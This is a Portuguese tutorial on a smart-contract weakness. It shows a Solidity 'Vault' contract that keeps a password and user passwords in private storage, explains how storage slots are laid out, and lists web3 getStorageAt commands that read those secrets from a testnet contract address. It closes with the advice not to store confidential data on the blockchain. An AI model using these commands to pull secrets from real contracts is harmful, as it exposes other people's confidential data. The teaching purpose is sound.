Nesse artigo iremos aprender a como um contrato malicioso age para acessar variáveis privadas e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
Todos os dados de um contrato inteligente podem ser lidos.
Vamos ver como podemos ler dados de variáveis definidas como private
. No processo, você aprenderá como o Solidity armazena as variáveis de estado.
OBS: não pode usar web3 na JVM, então use o contrato implementado na Testenet Ropsten
(ETH).
OBS: o navegador Web3 é antigo, então use o Web3 do console do Truffle.
Contrato implantado na Testnet Ropsten
com endereço 0x3505a02BCDFbb225988161a95528bfDb279faD6b
Armazenar
- 2 ** 256 slots
- 32 bytes para cada slot
- os dados são armazenados sequencialmente na ordem de declaração
- o armazenamento é otimizado para economizar espaço. Se as variáveis vizinhas couberem em um único 32 bytes, elas serão empacotadas no mesmo slot, começando da direita
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Vault {// slot 0uint public count = 123;// slot 1address public owner = msg.sender;bool public isTrue = true;uint16 public u16 = 31;// slot 2bytes32 private password;// constantes não usam armazenamentouint public constant someConst = 123;// slot 3, 4, 5 (um para cada elemento da matriz)bytes32[3] public data;struct User {uint id;bytes32 password;}// slot 6 - comprimento do array// começando do slot hash(6) - elementos do array// slot onde o elemento do array é armazenado = keccak256(slot)) + (index * elementSize)// onde slot = 6 e elementSize = 2 (1 (uint) + 1 (bytes32))User[] private users;// slot 7 - vazio// as entradas são armazenadas em hash(chave, slot)// onde slot = 7, key = map keymapping(uint => User) private idToUser;constructor(bytes32 _password) {password = _password;}function addUser(bytes32 _password) public {User memory user = User({id: users.length, password: _password});users.push(user);idToUser[user.id] = user;}function getArrayLocation(uint slot,uint index,uint elementSize) public pure returns (uint) {return uint(keccak256(abi.encodePacked(slot))) + (index * elementSize);}function getMapLocation(uint slot, uint key) public pure returns (uint) {return uint(keccak256(abi.encodePacked(key, slot)));}}/*slot 0 - contarweb3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 0, console.log)slot 1 - u16, isTrue, proprietárioweb3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 1, console.log)slot 2 - senhaweb3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", 2, console.log)slot 6 - tamanha da arraygetArrayLocation(6, 0, 2)web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")Nota: Também podemos usar o web3 para obter a localização dos dadosweb3.utils.soliditySha3({ type: "uint", value: 6 })1st usuárioweb3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f", console.log)web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d40", console.log)Nota: use web3.toAscii para converter bytes32 em alfabeto2nd usuárioweb3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d41", console.log)web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xf652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d42", console.log)slot 7 - vaziogetMapLocation(7, 1)web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")Nota: Também podemos usar o web3 para obter a localização dos dadosweb3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})usuário 1web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b828", console.log)web3.eth.getStorageAt("0x3505a02BCDFbb225988161a95528bfDb279faD6b", "0xb39221ace053465ec3453ce2b36430bd138b997ecea25c1043da0c366812b829", console.log)*/
Técnicas Preventivas
- Não armazene informações confidenciais na blockchain.